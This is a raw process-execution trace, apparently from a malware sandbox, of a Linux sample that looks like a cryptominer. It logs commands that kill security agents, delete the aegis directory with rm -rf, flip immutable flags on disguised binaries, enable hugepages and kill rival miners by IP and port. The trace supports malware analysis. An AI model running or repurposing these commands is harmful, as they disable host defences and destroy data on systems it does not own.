-
/bin/rmrm -rf3⤵PID:905
-
-
-
/bin/grepgrep -v grep2⤵PID:907
-
-
/bin/grepgrep titanagent2⤵PID:908
-
-
/usr/bin/awkawk "{print \$11}"2⤵PID:909
-
-
/usr/bin/xargsxargs dirname2⤵PID:910
-
/usr/local/sbin/dirnamedirname3⤵PID:912
-
-
/usr/local/bin/dirnamedirname3⤵PID:912
-
-
/usr/sbin/dirnamedirname3⤵PID:912
-
-
/usr/bin/dirnamedirname3⤵PID:912
-
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:906
-
-
/usr/bin/xargsxargs rm -rf2⤵PID:911
-
/usr/local/sbin/rmrm -rf3⤵PID:913
-
-
/usr/local/bin/rmrm -rf3⤵PID:913
-
-
/usr/sbin/rmrm -rf3⤵PID:913
-
-
/usr/bin/rmrm -rf3⤵PID:913
-
-
/sbin/rmrm -rf3⤵PID:913
-
-
/bin/rmrm -rf3⤵PID:913
-
-
-
/bin/grepgrep -v grep2⤵PID:916
-
-
/bin/grepgrep edr2⤵PID:917
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:918
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:915
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
- Removes the immutable protection flag from a file
PID:919
-
-
/bin/grepgrep -v grep2⤵PID:921
-
-
/bin/grepgrep aegis2⤵PID:922
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:920
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:924
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:923
-
-
/bin/grepgrep Yun2⤵PID:927
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:925
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:928
-
-
/bin/grepgrep -v grep2⤵PID:926
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
- Removes the immutable protection flag from a file
PID:929
-
-
/bin/grepgrep -v grep2⤵PID:931
-
-
/bin/psps aux2⤵PID:930
-
-
/bin/grepgrep hids2⤵PID:932
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:933
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:934
-
-
/bin/grepgrep edr2⤵PID:937
-
-
/bin/grepgrep -v grep2⤵PID:936
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:935
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:938
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
- Removes the immutable protection flag from a file
PID:939
-
-
/bin/grepgrep -v grep2⤵PID:941
-
-
/bin/grepgrep cloudwalker2⤵PID:942
-
-
/bin/psps aux2⤵PID:940
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:943
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:944
-
-
/bin/grepgrep titanagent2⤵PID:947
-
-
/bin/grepgrep -v grep2⤵PID:946
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:945
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:948
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:949
-
-
/bin/grepgrep sgagent2⤵PID:952
-
-
/bin/grepgrep -v grep2⤵PID:951
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:953
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:950
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:954
-
-
/bin/grepgrep barad_agent2⤵PID:957
-
-
/bin/grepgrep -v grep2⤵PID:956
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:955
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:958
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:959
-
-
/bin/grepgrep -v grep2⤵PID:961
-
-
/bin/grepgrep hostguard2⤵PID:962
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:963
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:960
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵PID:964
-
-
/bin/rmrm -rf /usr/local/aegis2⤵PID:965
-
-
/bin/sleepsleep 12⤵PID:966
-
-
/usr/bin/chattrchattr -i /usr/bin/ip6network2⤵
- System Network Configuration Discovery
PID:972
-
-
/usr/bin/chattrchattr -i /usr/bin/kswaped2⤵
- Removes the immutable protection flag from a file
PID:973
-
-
/usr/bin/chattrchattr -i /usr/bin/irqbalanced2⤵PID:974
-
-
/usr/bin/chattrchattr -i /usr/bin/rctlcli2⤵
- Removes the immutable protection flag from a file
PID:975
-
-
/usr/bin/chattrchattr -i /usr/bin/systemd-network2⤵
- Removes the immutable protection flag from a file
PID:976
-
-
/usr/bin/chattrchattr -i /usr/bin/pamdicks2⤵PID:977
-
-
/usr/bin/chattrchattr +i /usr/bin/ip6network2⤵
- Removes the immutable protection flag from a file
- System Network Configuration Discovery
PID:978
-
-
/usr/bin/chattrchattr +i /usr/bin/kswaped2⤵PID:979
-
-
/usr/bin/chattrchattr +i /usr/bin/irqbalanced2⤵PID:980
-
-
/usr/bin/chattrchattr +i /usr/bin/rctlcli2⤵
- Removes the immutable protection flag from a file
PID:981
-
-
/usr/bin/chattrchattr +i /usr/bin/systemd-network2⤵PID:982
-
-
/usr/bin/chattrchattr +i /usr/bin/pamdicks2⤵PID:983
-
-
/bin/sleepsleep 12⤵PID:984
-
-
/bin/rmrm -f /tmp/.null2⤵PID:990
-
-
/sbin/sysctlsysctl -w "vm.nr_hugepages=128"2⤵PID:992
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:997
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:998
-
-
/bin/grepgrep 194.87.139.1032⤵PID:996
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:999
-
-
/bin/grepgrep 185.71.65.2382⤵PID:1002
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1003
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1004
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1005
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1009
-
-
/bin/grepgrep 140.82.52.872⤵PID:1008
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1010
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1011
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1014
-
-
/bin/grepgrep :232⤵PID:1013
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1015
-
-
/bin/grepgrep -v -2⤵PID:1016
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1017
-
-
/bin/grepgrep :1432⤵PID:1021
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1022
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1023
-
-
/bin/grepgrep -v -2⤵PID:1024
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1025
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1029
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1028
-
-
/bin/grepgrep :22222⤵PID:1027
-
-
/bin/grepgrep -v -2⤵PID:1030
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1031
-
-
/bin/grepgrep :33332⤵PID:1034
-
-
/bin/grepgrep -v -2⤵PID:1037
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1038
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1035
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1036
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1043
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1042
-
-
/bin/grepgrep :33892⤵PID:1041
-
-
/bin/grepgrep -v -2⤵PID:1044
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1045
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1049
-
-
/bin/grepgrep :55552⤵PID:1047
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1048
-
-
/bin/grepgrep -v -2⤵PID:1050
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1051
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1056
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1057
-
-
/bin/grepgrep -v -2⤵PID:1058
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1059
-
-
/bin/grepgrep :66662⤵PID:1055
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1063
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1062
-
-
/bin/grepgrep :66652⤵PID:1061
-
-
/bin/grepgrep -v -2⤵PID:1064
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1065
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1070
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1069
-
-
/bin/grepgrep :66672⤵PID:1068
-
-
/bin/grepgrep -v -2⤵PID:1071
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1072
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1076
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1077
-
-
/bin/grepgrep :77772⤵PID:1075
-
-
/bin/grepgrep -v -2⤵PID:1078
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1079
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1084
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1083
-
-
/bin/grepgrep :84442⤵PID:1082
-
-
/bin/grepgrep -v -2⤵PID:1085
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1086
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1091
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1090
-
-
/bin/grepgrep :33472⤵PID:1089
-
-
/bin/grepgrep -v -2⤵PID:1092
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1093
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:1097
-
-
/bin/grepgrep :100082⤵PID:1095
-
-
/bin/grepgrep -v -2⤵PID:1098
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1099
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1096
-
-
/bin/grepgrep :135312⤵PID:1103
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1104
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1105
-
-
/bin/grepgrep -v grep2⤵PID:1102
-
-
/bin/grepgrep :33332⤵PID:1109
-
-
/bin/grepgrep -v grep2⤵PID:1108
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1110
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1111
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1107
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1117
-
-
/bin/grepgrep :55552⤵PID:1116
-
-
/bin/grepgrep -v grep2⤵PID:1115
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1118
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1114
-
-
/bin/grepgrep -v grep2⤵PID:1122
-
-
/bin/grepgrep "kworker -c\\"2⤵PID:1123
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1124
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1121
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1125
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1130
-
-
/bin/grepgrep log_2⤵PID:1129
-
-
/bin/grepgrep -v grep2⤵PID:1128
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1131
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1127
-
-
/bin/grepgrep -v grep2⤵PID:1134
-
-
/bin/grepgrep systemten2⤵PID:1135
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1136
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1133
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1137
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1143
-
-
/bin/grepgrep netns2⤵PID:1142
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1144 -
/usr/local/sbin/killkill -9 103⤵
- Disables SELinux
PID:1145
-
-
/usr/local/bin/killkill -9 103⤵
- Disables SELinux
PID:1145
-
-
/usr/sbin/killkill -9 103⤵
- Disables SELinux
PID:1145
-
-
/usr/bin/killkill -9 103⤵
- Disables SELinux
PID:1145
-
-
/sbin/killkill -9 103⤵
- Disables SELinux
PID:1145
-
-
/bin/killkill -9 103⤵
- Disables SELinux
PID:1145
-
-
-
/bin/grepgrep -v grep2⤵PID:1141
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1140
-
-
/bin/grepgrep -v grep2⤵PID:1147
-
-
/bin/grepgrep voltuned2⤵PID:1148
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1149
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1146
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1150
-
-
/bin/grepgrep darwin2⤵PID:1153
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1154
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1155
-
-
/bin/grepgrep -v grep2⤵PID:1152
-
-
/bin/psps aux2⤵PID:1151
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1159
-
-
/bin/grepgrep /tmp/dl2⤵PID:1158
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1160
-
-
/bin/grepgrep -v grep2⤵PID:1157
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1156
-
-
/bin/grepgrep /tmp/ddg2⤵PID:1163
-
-
/bin/grepgrep -v grep2⤵PID:1162
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1165
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1164
-
-
/bin/psps aux2⤵PID:1161
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1169
-
-
/bin/grepgrep /tmp/pprt2⤵PID:1168
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1170
-
-
/bin/grepgrep -v grep2⤵PID:1167
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1166
-
-
/bin/grepgrep /tmp/ppol2⤵PID:1173
-
-
/bin/grepgrep -v grep2⤵PID:1172
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1174
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1175
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1171
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1176
-
-
/bin/grepgrep -v grep2⤵PID:1177
-
-
/bin/grepgrep "/tmp/65ccE*"2⤵PID:1178
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1179
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1180
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1184
-
-
/bin/grepgrep "/tmp/jmx*"2⤵PID:1183
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1185
-
-
/bin/grepgrep -v grep2⤵PID:1182
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1181
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1189
-
-
/bin/grepgrep "/tmp/2Ne80*"2⤵PID:1188
-
-
/bin/grepgrep -v grep2⤵PID:1187
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1190
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1186
-
-
/bin/grepgrep IOFoqIgyC0zmf2UR2⤵PID:1193
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1194
-
-
/bin/grepgrep -v grep2⤵PID:1192
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1195
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1191
-
-
/bin/grepgrep 45.76.122.922⤵PID:1198
-
-
/bin/grepgrep -v grep2⤵PID:1197
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1199
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1200
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1196
-
-
/bin/grepgrep 51.38.191.1782⤵PID:1203
-
-
/bin/grepgrep -v grep2⤵PID:1202
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1204
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1205
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1201
-
-
/bin/grepgrep 51.15.56.1612⤵PID:1208
-
-
/bin/grepgrep -v grep2⤵PID:1207
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1209
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1210
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1206
-
-
/bin/grepgrep 86s.jpg2⤵PID:1213
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1214
-
-
/bin/grepgrep -v grep2⤵PID:1212
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1215
-
-
/bin/psps aux2⤵PID:1211
-
-
/bin/grepgrep aGTSGJJp2⤵PID:1218
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1219
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1220
-
-
/bin/grepgrep -v grep2⤵PID:1217
-
-
/bin/psps aux2⤵PID:1216
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1224
-
-
/bin/grepgrep nMrfmnRa2⤵PID:1223
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1225
-
-
/bin/psps aux2⤵PID:1221
-
-
/bin/grepgrep -v grep2⤵PID:1222
-
-
/bin/grepgrep PuNY5tm22⤵PID:1228
-
-
/bin/grepgrep -v grep2⤵PID:1227
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1226
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1229
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1230
-
-
/bin/grepgrep I0r8Jyyt2⤵PID:1233
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1234
-
-
/bin/grepgrep -v grep2⤵PID:1232
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1235
-
-
/bin/psps aux2⤵PID:1231
-
-
/bin/grepgrep AgdgACUD2⤵PID:1238
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1239
-
-
/bin/grepgrep -v grep2⤵PID:1237
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1240
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1236
-
-
/bin/grepgrep uiZvwxG82⤵PID:1243
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1244
-
-
/bin/grepgrep -v grep2⤵PID:1242
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1245
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1241
-
-
/bin/grepgrep hahwNEdB2⤵PID:1248
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1249
-
-
/bin/grepgrep -v grep2⤵PID:1247
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1250
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1246
-
-
/bin/grepgrep BtwXn5qH2⤵PID:1253
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1254
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1255
-
-
/bin/grepgrep -v grep2⤵PID:1252
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1251
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1259
-
-
/bin/grepgrep 3XEzey2T2⤵PID:1258
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1260
-
-
/bin/grepgrep -v grep2⤵PID:1257
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1256
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1264
-
-
/bin/grepgrep t2tKrCSZ2⤵PID:1263
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1265
-
-
/bin/grepgrep -v grep2⤵PID:1262
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1261
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1269
-
-
/bin/grepgrep HD7fcBgg2⤵PID:1268
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1270
-
-
/bin/grepgrep -v grep2⤵PID:1267
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:1266
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1274
-
-
/bin/grepgrep zXcDajSs2⤵PID:1273
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1275
-
-
/bin/grepgrep -v grep2⤵PID:1272
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1271
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1279
-
-
/bin/grepgrep 3lmigMo2⤵PID:1278
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1280
-
-
/bin/grepgrep -v grep2⤵PID:1277
-
-
/bin/psps aux2⤵PID:1276
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1284
-
-
/bin/grepgrep AkMK4A22⤵PID:1283
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1285
-
-
/bin/grepgrep -v grep2⤵PID:1282
-
-
/bin/psps aux2⤵PID:1281
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1289
-
-
/bin/grepgrep AJ2AkKe2⤵PID:1288
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1290
-
-
/bin/grepgrep -v grep2⤵PID:1287
-
-
/bin/psps aux2⤵PID:1286
-
-
/bin/grepgrep -v grep2⤵PID:1292
-
-
/bin/grepgrep HiPxCJRS2⤵
- System Network Configuration Discovery
PID:1293
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1294
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1295
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1291
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1299
-
-
/bin/grepgrep http_0xCC0302⤵
- Disables SELinux
PID:1298
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1300
-
-
/bin/grepgrep -v grep2⤵PID:1297
-
-
/bin/psps aux2⤵PID:1296
-
-
/bin/grepgrep http_0xCC0312⤵PID:1303
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1304
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1305
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1301
-
-
/bin/grepgrep -v grep2⤵PID:1302
-
-
/bin/grepgrep http_0xCC0322⤵PID:1308
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1309
-
-
/bin/grepgrep -v grep2⤵PID:1307
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1310
-
-
/bin/psps aux2⤵PID:1306
-
-
/bin/grepgrep http_0xCC0332⤵PID:1313
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1314
-
-
/bin/grepgrep -v grep2⤵PID:1312
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1315
-
-
/bin/psps aux2⤵PID:1311
-
-
/bin/grepgrep -v grep2⤵PID:1317
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1319
-
-
/bin/grepgrep C4iLM4L2⤵PID:1318
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1320
-
-
/bin/psps aux2⤵PID:1316
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1324
-
-
/bin/grepgrep -v grep2⤵PID:1322
-
-
/bin/grepgrep aziplcr72qjhzvin2⤵
- System Network Configuration Discovery
PID:1323
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1325
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1321
-
-
/usr/bin/awkawk "{ if(substr(\$11,1,2)==\"./\" && substr(\$12,1,2)==\"./\") print \$2 }"2⤵PID:1328
-
-
/bin/grepgrep -v grep2⤵PID:1327
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1329
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1326
-
-
/bin/grepgrep /boot/vmlinuz2⤵PID:1332
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1333
-
-
/bin/grepgrep -v grep2⤵PID:1331
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1334
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1330
-
-
/bin/grepgrep i4b503a52cc52⤵PID:1337
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1338
-
-
/bin/grepgrep -v grep2⤵PID:1336
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1339
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1335
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1343
-
-
/bin/grepgrep dgqtrcst23rtdi3ldqk322j22⤵PID:1342
-
-
/bin/grepgrep -v grep2⤵PID:1341
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1344
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1340
-
-
/bin/grepgrep -v grep2⤵PID:1346
-
-
/bin/grepgrep 2g0uv7npuhrlatd2⤵PID:1347
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1348
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1349
-
-
/bin/psps aux2⤵PID:1345
-
-
/bin/grepgrep nqscheduler2⤵PID:1352
-
-
/bin/grepgrep -v grep2⤵PID:1351
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1353
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1354
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1350
-
-
/bin/grepgrep rkebbwgqpl4npmm2⤵PID:1357
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1358
-
-
/bin/grepgrep -v grep2⤵PID:1356
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1359
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1355
-
-
/bin/grepgrep -v aux2⤵PID:1362
-
-
/bin/grepgrep "]"2⤵PID:1363
-
-
/bin/grepgrep -v grep2⤵PID:1361
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1365
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:1360
-
-
/usr/bin/awkawk "\$3>10.0{print \$2}"2⤵PID:1364
-
-
/bin/grepgrep -v grep2⤵PID:1367
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1369
-
-
/bin/grepgrep 2fhtu70teuhtoh78jc5s2⤵PID:1368
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1370
-
-
/bin/psps aux2⤵PID:1366
-
-
/bin/grepgrep -v grep2⤵PID:1372
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1374
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1375
-
-
/bin/grepgrep 0kwti6ut420t2⤵PID:1373
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:1371
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1379
-
-
/bin/grepgrep 44ct7udt0patws3agkdfqnjm2⤵PID:1378
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
PID:1380
-
-
/bin/grepgrep -v grep2⤵PID:1377
-
-
/bin/psps aux2⤵PID:1376
-
-
/bin/grepgrep -v -2⤵PID:1384
-
-
/bin/grepgrep -v /2⤵PID:1383
-
-
/bin/grepgrep -v grep2⤵PID:1382
-
-
/bin/grepgrep -v _2⤵PID:1385
-
-
/usr/bin/awkawk "length(\$11)>19{print \$2}"2⤵PID:1386
-
-
/bin/psps aux2⤵PID:1381
-
-
